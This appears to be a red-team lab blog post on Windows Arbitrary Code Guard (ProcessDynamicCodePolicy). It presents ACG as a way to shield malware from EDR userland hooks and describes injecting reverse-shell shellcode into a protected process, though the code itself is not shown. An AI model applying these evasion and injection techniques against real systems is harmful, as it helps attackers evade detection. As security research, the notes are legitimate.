I first learned about ProcessDynamicCodePolicy in great post and this is a quick lab to play around with it. ProcessDynamicCodePolicy prevents the process from generating dynamic code or modifying existing executable code.
ProcessDynamicCodePolicy is also sometimes called Arbitrary Code Guard (ACG):
With ACG enabled, the Windows kernel prevents a content process from creating and modifying code pages in memory by enforcing the following policy:
Code pages are immutable. Existing code pages cannot be made writable and therefore always have their intended content. This is enforced with additional checks in the memory manager that prevent code pages from becoming writable or otherwise being modified by the process itself. For example, it is no longer possible to use VirtualProtect to make an image code page become PAGE_EXECUTE_READWRITE.
New, unsigned code pages cannot be created. For example, it is no longer possible to use VirtualAlloc to create a new PAGE_EXECUTE_READWRITE code page.
Enabling ProcessDynamicCodePolicy on your malware may be useful for protecting it from EDR solutions that hook userland API functions in order to inspect programs' intents. EDRs will usually install hooks by injecting their DLL(s) into processes they want to monitor.
Related notes about another process mitigation policy that prevents non-Microsoft signed binaries from being loaded into processes.
Enabling ACG
We can enable the ACG mitigation policy for a local process with the following code:
We can check the ACG policy is applied with Process Hacker:
Injecting a DLL into ACG Enabled Process
Now that we have a process that is running with Arbitrary Code Guard enabled, we can try to inject a DLL that attempts to write shellcode (simple reverse shell) to the injected process's memory and execute it and we will see that ACG will neutralize this attempt.
Below shows how our malicious injectorDllShellcode.dll is being injected into the ACG enabled process mitigationpolicy.exe, but never gets loaded - Load Image event in Procmon is missing and the reverse shell is never returned:
To prove that the DLL works - below is a gif showing how the mitigationpolicy.exe is launched with the ACG policy switched off:
...procmon shows that injectorDllShellcode.dll was loaded this time:
Injecting Shellcode into ACG Enabled Process
Although the ACG in mitigationpolicy.exe neutralized our malicious injectorDllShellcode DLL that attempted to allocate RWX memory, write shellcode there and execute it, ACG still does not prevent remote processes from allocating memory, writing and executing shellcode directly (as apposed to doing it from an injected DLL) to the ACG enabled process using VirtualAllocEx and WriteProcessMemory APIs.
Repeating:
Remotes processes (i.e EDRs) could use VirtualAllocEx and WriteProcessMemoryto write and execute shellcode in an ACG enabled process rendering ACG useless.
Below shows that indeed it's still possible for a remote process to inject shellcode to a process protected with ACG:
mitigationpolicy.exe is my program running with ProcessDynamicCodePolicy enabled
injector.exe (remote process in this context) is a shellcode injector that will inject shellcode into ACG enabled mitigationpolicy.exe with PID 7752
Updates
After posting these notes on twitter, I got some replies that I wanted to highlight here:
At first, I was confused as to why this was possible, but suggested that ACG's primary purpose was to: "...stop exploit chains where the first step of ROP was to set a page RWX and then write further shellcode to that page..." and suddenly it all made sense.
